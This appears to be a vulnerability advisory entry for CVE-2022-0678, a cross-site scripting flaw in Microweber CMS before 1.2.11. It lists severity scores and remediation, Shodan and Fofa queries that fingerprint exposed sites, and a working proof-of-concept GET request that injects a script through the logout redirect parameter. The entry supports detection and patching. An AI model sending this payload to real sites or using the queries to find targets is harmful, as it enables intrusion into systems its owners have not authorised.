| Title | Microweber <1.2.11 - Cross-Site Scripting |
|---|---|
| Author | tess,co5mos |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website. |
| Remediation | Upgrade Microweber CMS to version 1.2.11 or later, which includes a fix for this vulnerability. |
| CVSS Score | 6.1 |
| EPSS Score | 0.01223 |
| CVE ID | CVE-2022-0678 |
| CWE ID | CWE-79 |
| Shodan Query | http.favicon.hash:780351152http.html:"microweber" |
| Fofa Query | body="microweber"icon_hash=780351152 |
| Tags | cve cve2022 huntr xss microweber vuln |
Packagist prior to 1.2.11 contains a cross-site scripting vulnerability via microweber/microweber. User can escape the meta tag because the user doesn’t escape the double-quote in the $redirectUrl parameter when logging out.
GET /demo/api/logout?redirect_to=/asdf%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Kubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-0678.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-0678.pcap
N/AN/A